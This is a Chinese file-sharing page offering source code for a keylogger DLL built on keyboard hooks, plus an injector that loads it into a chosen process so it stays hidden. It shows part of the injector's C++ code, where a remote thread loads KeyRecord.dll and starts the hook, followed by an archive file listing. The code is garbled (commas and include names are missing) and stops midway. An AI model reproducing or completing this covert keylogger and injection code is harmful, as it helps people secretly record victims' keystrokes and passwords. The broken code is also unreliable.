资源简介

本资源分为两部分,其一是基于HOOK的是先键盘记录功能的DLL文件源代码;其二是将上述DLL注入指定进程的源代码.相关文档请在百度中搜索“远程注入DLL实现进程隐藏以及键盘记录器”查询

资源截图

代码片段和文件信息

// InsertDll.cpp : 僐儞僜乕儖 傾僾儕働乕僔儑儞偺僄儞僩儕 億僀儞僩傪掕媊偟傑偡丅
//

#include “stdafx.h“
#include 
#include 
#include 
#include 

#define INDLL  0
#define OUTDLL  1

#define DLLNAME “c:\\KeyRecord.dll“
#define DLLNAME_EX “KeyRecord“
#define FUN_START_HOOK “StartHook“
#define FUN_STOP_HOOK “StopHook“

typedef struct
{
PTHREAD_START_ROUTINE fnMessageBox;
PTHREAD_START_ROUTINE fnLoadLibrary;
PTHREAD_START_ROUTINE fnFreeLibrary;
PTHREAD_START_ROUTINE fnGetProcAddress;
PTHREAD_START_ROUTINE fnGetModuleHandle;
PTHREAD_START_ROUTINE fnStartHook;
PTHREAD_START_ROUTINE fnSleep;
int  LoadOrFree;
char MyDllName[32]; /* “c:\\KeyRecord.dll“ */
char MyDllNameEx[32]; /* “KeyRecord“ */
char FUN_StartHook[32]; /* “StartHook“ */
char FUN_StopHook[32]; /* “StopKook“ */
}RemotePara;


int EnableDebugPriv(const char * name);
DWORD FindTarget( LPCTSTR lpszProcess);
BOOL InOrOutDll(const char *DllFullPath const DWORD dwRemoteProcessIdconst int IOFlg);

DWORD __stdcall ThreadProc(RemotePara * lpPara)
{
typedef HMODULE (__stdcall *M_LoadLibrary)(LPCTSTR);
typedef int (__stdcall *M_FreeLibrary)(HMODULE);
typedef HANDLE (__stdcall *M_GetProcAddress)(HMODULELPCSTR);
typedef HMODULE (__stdcall *M_GetModuleHandle)(LPCTSTR);
typedef int (__stdcall *M_StartHook)();
typedef int (__stdcall *M_StoptHook)();
typedef int (__stdcall *M_MessageBox)(HWNDLPCTSTRLPCTSTRDWORD);
typedef int (__stdcall *M_Sleep)(int);

M_LoadLibrary MyLoadLibrary;
M_FreeLibrary MyFreeLibrary;
M_GetProcAddress MyGetProcAddress;
M_GetModuleHandle MyGetModuleHandle;
M_StartHook MyStartHook;
M_StoptHook MyStopHook;
M_MessageBox MyMessageBox;
M_Sleep MySleep;

MyLoadLibrary = (M_LoadLibrary)lpPara->fnLoadLibrary;
MyFreeLibrary = (M_FreeLibrary)lpPara->fnFreeLibrary;
MyGetProcAddress = (M_GetProcAddress)lpPara->fnGetProcAddress;
MyGetModuleHandle = (M_GetModuleHandle)lpPara->fnGetModuleHandle;
MyMessageBox = (M_MessageBox)lpPara->fnMessageBox;
MySleep = (M_Sleep)lpPara->fnSleep;

if(!lpPara->LoadOrFree)
{
if(MyLoadLibrary(lpPara->MyDllName)==NULL)
{
MyMessageBox(NULLlpPara->MyDllNamelpPara->MyDllName0);
return 0;
}
MyStartHook = (M_StartHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx)lpPara->FUN_StartHook);
if(MyStartHook == NULL)
{
MyMessageBox(NULLlpPara->FUN_StartHooklpPara->FUN_StartHook0);
return 0;
}

if(MyStartHook())
{
MyMessageBox(NULLlpPara->FUN_StartHooklpPara->FUN_StartHook0);
}

MySleep(100000000);
}
else
{
MyStopHook = (M_StoptHook)MyGetProcAddress(MyGetModuleHandle(lpPara->MyDllNameEx)lpPara->FUN_StopHook);
if(MyStopHook == NULL)
{
MyMessageBox(NULLlpPara->FUN_StopHooklpPara->FUN_StopHook0);
return 0;
}
STOP:
if(!MyStopHook())
{
MySleep(1000);
goto STOP;
}
if(!MyFreeLibrary(MyGetModuleHandle(lpPara->MyDllNameEx)))
{

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2011-01-20 14:15  KeyRecord\KeyRecord\
     目录           0  2011-01-20 14:15  KeyRecord\KeyRecord\Debug\
     文件        5467  2011-01-17 16:57  KeyRecord\KeyRecord\KeyRecord.cpp
     文件          59  2011-01-14 16:28  KeyRecord\KeyRecord\KeyRecord.def
     文件         207  2011-01-14 16:45  KeyRecord\KeyRecord\KeyRecord.h
     文件        4213  2010-12-28 10:32  KeyRecord\KeyRecord\KeyRecord.vcproj
     文件        1852  2010-12-22 13:44  KeyRecord\KeyRecord\ReadMe.txt
     目录           0  2011-01-20 14:15  KeyRecord\KeyRecord\Release\
     文件         297  2010-12-22 13:44  KeyRecord\KeyRecord\stdafx.cpp
     文件         421  2010-12-22 13:44  KeyRecord\KeyRecord\stdafx.h
     文件     4598784  2011-01-17 18:01  KeyRecord\KeyRecord.ncb
     文件         917  2010-12-22 13:44  KeyRecord\KeyRecord.sln
     文件       12288  2011-01-17 18:01  KeyRecord\KeyRecord.suo
     目录           0  2011-01-20 14:15  KeyRecord\
     目录           0  2011-01-20 14:15  InsertDll\InsertDll\
     目录           0  2011-01-20 14:15  InsertDll\InsertDll\Debug\
     文件        8565  2011-01-17 17:53  InsertDll\InsertDll\InsertDll.cpp
     文件        3871  2010-12-20 19:09  InsertDll\InsertDll\InsertDll.vcproj
     文件        1377  2010-12-20 19:09  InsertDll\InsertDll\ReadMe.txt
     目录           0  2011-01-20 14:15  InsertDll\InsertDll\Release\
     文件         297  2010-12-20 19:09  InsertDll\InsertDll\stdafx.cpp
     文件         320  2010-12-20 19:09  InsertDll\InsertDll\stdafx.h
     文件     4647936  2011-01-17 18:01  InsertDll\InsertDll.ncb
     文件         917  2010-12-20 19:09  InsertDll\InsertDll.sln
     文件       11264  2011-01-17 18:01  InsertDll\InsertDll.suo
     目录           0  2011-01-20 14:15  InsertDll\

评论

共有 条评论